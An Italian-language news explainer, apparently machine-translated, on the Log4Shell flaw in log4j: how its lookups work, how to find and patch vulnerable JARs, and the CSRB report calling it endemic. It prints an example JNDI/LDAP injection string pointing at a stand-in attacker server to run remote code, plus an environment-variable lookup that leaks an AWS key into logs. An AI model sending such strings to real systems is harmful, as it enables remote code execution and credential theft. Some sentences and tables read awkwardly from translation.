8 mesi dopo, gli Stati Uniti affermano che Log4Shell sarà in circolazione per "un decennio o più"

Ricorda Log4Shell?

Era un bug pericoloso in un popolare toolkit di programmazione Java open source chiamato log4j, abbreviazione di "Logging for Java", pubblicato dalla Apache Software Foundation con una licenza liberale del codice sorgente.

Se hai mai scritto software di qualsiasi tipo, dal più semplice file BAT su un laptop Windows alla mega-applicazione più ingombrante in esecuzione su un intero rack di server, avrai utilizzato i comandi di registrazione.

Dall'output di base come echo "Starting calculations (this may take a while)" stampato sullo schermo, fino ai messaggi formali salvati in un database di cui non si può scrivere una sola volta per motivi di controllo o conformità, la registrazione è una parte vitale della maggior parte dei programmi, specialmente quando qualcosa si rompe e hai bisogno di un registro chiaro di quanto sei arrivato prima il problema ha colpito.

Log4Shell vulnerabilità (in realtà, si è scoperto che c'erano diversi problemi correlati, ma li tratteremo tutti come se fossero un grosso problema qui, per semplicità) si è rivelato essere metà bug e metà funzionalità.

In altre parole, Log4j ha fatto ciò che ha detto nel manuale, a differenza di un bug come un buffer overflow, in cui il programma incriminato cerca erroneamente di pasticciare con i dati che aveva promesso che sarebbe stato lasciato in pace...

...ma a meno che tu non abbia letto il manuale con molta attenzione e preso tu stesso ulteriori precauzioni aggiungendo uno strato di attenta verifica dell'input su Log4j, il tuo software potrebbe sbloccarsi.

Davvero, malissimo, totalmente sganciato.

Interpolazione considerata dannosa

In poche parole, Log4j non ha sempre registrato i messaggi di registro esattamente come li hai forniti.

Invece, aveva una "caratteristica" conosciuta in modo diverso e confuso nel gergo come interpolazione, sostituzione di comando or riscrittura automatica, in modo da poter attivare funzionalità di manipolazione del testo all'interno dell'utilità di registrazione stessa, senza dover scrivere codice speciale per farlo.

Ad esempio, il testo nella colonna INPUT qui sotto verrebbe registrato letteralmente, esattamente come lo vedi, che è probabilmente quello che ti aspetteresti da un toolkit di registrazione, specialmente se volessi tenere un registro preciso dei dati di input presentati dai tuoi utenti per motivi normativi:

RISULTATO INGRESSO ----------------------- ------------------------ NOME UTENTE =anatra -> USERNAME=anatra ID chiamante:555-555-5555 -> ID chiamante:555-555-5555 Versione attuale = 17.0.1 -> Versione attuale = 17.0.1

Ma se hai inviato il testo avvolto nella sequenza di caratteri magici ${...}, il logger a volte fa cose intelligenti con esso, dopo aver ricevuto il testo ma prima di scriverlo effettivamente nel file di registro, in questo modo:

RISULTATO INGRESSO ------------------- --------------- ----------------------------- CORRENTE=${java:versione}/${java:os} -> CORRENTE=versione Java 17.0.1/Windows 10 10.0 L'account del server è: ${env:USER} -> L'account del server è: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Chiaramente, se stai accettando la registrazione del testo da una fonte attendibile, dove è ragionevole consentire al loggee di controllare il logger dicendogli di sostituire il testo normale con dati interni, questo tipo di riscrittura del testo è utile.

Ma se il tuo obiettivo è tenere traccia dei dati inviati da un utente remoto, forse per scopi di registrazione normativa, questo tipo di riscrittura automatica è doppiamente pericoloso:

• In caso di controversia, non hai una registrazione affidabile di ciò che l'utente ha effettivamente inviato, dato che potrebbe essere stato modificato tra input e output.
• Un utente malintenzionato potrebbe inviare input costruiti in modo subdolo per indurre il tuo server a fare qualcosa che non avrebbe dovuto.

Se stai registrando gli input dell'utente come la stringa di identificazione del browser, ad esempio (noto in gergo come file User-Agent), o il loro nome utente o numero di telefono, non vuoi dare all'utente la possibilità di indurti con l'inganno a scrivere dati privati ​​(come una stringa di password di sola memoria come AWS_ACCESS_KEY_ID nell'esempio sopra) in un file di registro permanente.

Soprattutto se hai detto con sicurezza ai tuoi revisori o all'autorità di regolamentazione che non scrivi mai password in chiaro nella memoria permanente. (Voi non dovrebbe farlo, anche se non l'hai detto ufficialmente all'autorità di regolamentazione!)

Peggio a venire

Nel caso Log4Shell is-it-a-bug-or-is-it-a-feature, tuttavia, le cose erano molto peggio degli esempi già rischiosi che abbiamo mostrato sopra.

Ad esempio, un utente che ha inviato deliberatamente dati come l'input mostrato di seguito potrebbe innescare una sequenza di eventi davvero pericolosa:

RISULTATO INGRESSO ------------------------------------------------ ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Scarica ed esegui un programma Java remoto!?

Nella stringa "interpolazione" sopra, il ${...} sequenza di caratteri che include le abbreviazioni jndi ed ldap ha detto a Log4j di fare questo:

• Utilizzare Java Naming and Directory Interface (JNDI) localizzare dodgy.server.example on-line.
• Connettiti a quel server tramite LDAP, utilizzando la porta TCP 8888.
• Richiedi i dati memorizzato nell'oggetto LDAP BadThing.

In altre parole, gli aggressori potrebbero inviare input appositamente predisposti che istruirebbero il tuo server a "chiamare casa" a un server sotto il loro controllo, senza nemmeno un permesso.

Come potrebbe essere una "caratteristica"?

Ti starai chiedendo come una "funzione" come questa sia mai entrata nel codice Log4j.

Ma questo tipo di riscrittura del testo può essere utile, purché tu stia registrando i dati da una fonte attendibile.

Ad esempio, puoi registrare un ID utente numerico, ma anche chiedere al logger di utilizzare LDAP (il protocollo di accesso alla directory leggero, ampiamente utilizzato nel settore, incluso il sistema Active Directory di Microsoft) per recuperare e salvare il nome utente associato a quel numero di account in quel momento.

Ciò migliorerebbe sia la leggibilità che il valore storico della voce nel file di registro.

Ma il server LDAP che Log4j ha chiamato nell'esempio sopra (che è stato scelto dall'utente remoto, non dimenticare) è improbabile che conosca la verità, per non parlare di dirlo, e un utente malintenzionato potrebbe quindi usare questo trucco riempire i tuoi registri con dati fasulli e persino legalmente dubbi.

Ancora peggio, il server LDAP potrebbe restituire codice Java precompilato per generare i dati da registraree il tuo server eseguirebbe diligentemente quel programma: un programma sconosciuto, fornito da un server non attendibile, scelto da un utente non attendibile.

In parole povere, se un server, in qualsiasi punto della rete, ha registrato input non attendibili provenienti dall'esterno e ha utilizzato Log4j per farlo ...

... quindi quell'input potrebbe essere utilizzato come un modo diretto e immediato per indurre il tuo server a eseguire il codice di qualcun altro, proprio così.

Si chiama RCE in gergo, abbreviazione di esecuzione di codice remotoe i bug RCE sono generalmente i più ricercati dai criminali informatici perché in genere possono essere sfruttati per impiantare malware automaticamente.

Sfortunatamente, la natura di questo bug significava che il pericolo non era limitato ai server collegati a Internet, quindi utilizzare server Web scritti in C, non Java (es. IIS, Apache https, nginx), e quindi non utilizzare essi stessi il bug Codice Log4j, non ti ha liberato dal rischio.

In teoria, qualsiasi app Java back-end che ha ricevuto e registrato dati da altre parti della rete e che utilizzava la libreria Log4j...

...potrebbe essere potenzialmente raggiunto e sfruttato da aggressori esterni.

La soluzione è stata piuttosto semplice:

• Trova vecchie versioni di Log4j ovunque e ovunque nella tua rete. I moduli Java in genere hanno nomi come log4j-api-2.14.0.jar ed log4j-core-2.14.0.jar, Dove jar è l'abbreviazione di Archivio Java, una sorta di file ZIP strutturato in modo speciale. Con un prefisso ricercabile, un'estensione definitiva e il numero di versione incorporato nel nome del file, trovare rapidamente file offensivi con versioni "errate" del codice della libreria Java è in realtà abbastanza semplice.
• Sostituisci le versioni buggy con quelli più recenti e patchati.
• Se non eri in grado di cambiare la versione di Log4J, potresti ridurre o rimuovere il rischio rimuovendo un singolo modulo di codice dal pacchetto Log4j buggato (il codice Java che gestiva le ricerche JNDI, come descritto sopra) e riconfezionando il tuo file JAR ridotto con il bug soppresso.

La saga continua

Purtroppo un recente relazione dettagliata sulla saga Log4Shell, pubblicata la scorsa settimana dagli Stati Uniti Comitato di revisione della sicurezza informatica (CSRB), parte del Dipartimento per la sicurezza interna, contiene il preoccupante suggerimento (il nostro corsivo di seguito) che:

[L]a evento Log4j non è finito. Il [CSRB] valuta che Log4j sia una "vulnerabilità endemica" e che le istanze vulnerabili di Log4j rimarranno nei sistemi per molti anni a venire, forse un decennio o più. Rimane un rischio significativo.

Cosa fare?

A 42 pagine (il solo riassunto esecutivo arriva a quasi tre pagine), il Relazione del Consiglio è un documento lungo e parti di esso sono pesanti.

Ma ti consigliamo di leggerlo fino in fondo, perché è una storia affascinante di come anche i problemi di sicurezza informatica che dovrebbero essere rapidi e facili da risolvere possono essere ignorati, o rimandati a più tardi, o addirittura negati del tutto come "quelli di qualcun altro". problema” da risolvere.

I suggerimenti degni di nota del servizio pubblico statunitense, che sosteniamo con tutto il cuore, includono:

• Sviluppare la capacità di mantenere un accurato inventario delle risorse informatiche (IT) e delle applicazioni.
• [Imposta a] documentato programma di risposta alla vulnerabilità.
• [Imposta un] processo documentato di divulgazione e gestione delle vulnerabilità.

Quando si tratta di sicurezza informatica, non chiedere cosa possono fare gli altri per te...

...ma pensa a cosa puoi fare per te stesso, perché qualsiasi miglioramento che apporti lo farà quasi sicuramente vantaggio per tutti gli altri come pure.

---

[Contenuto incorporato]

---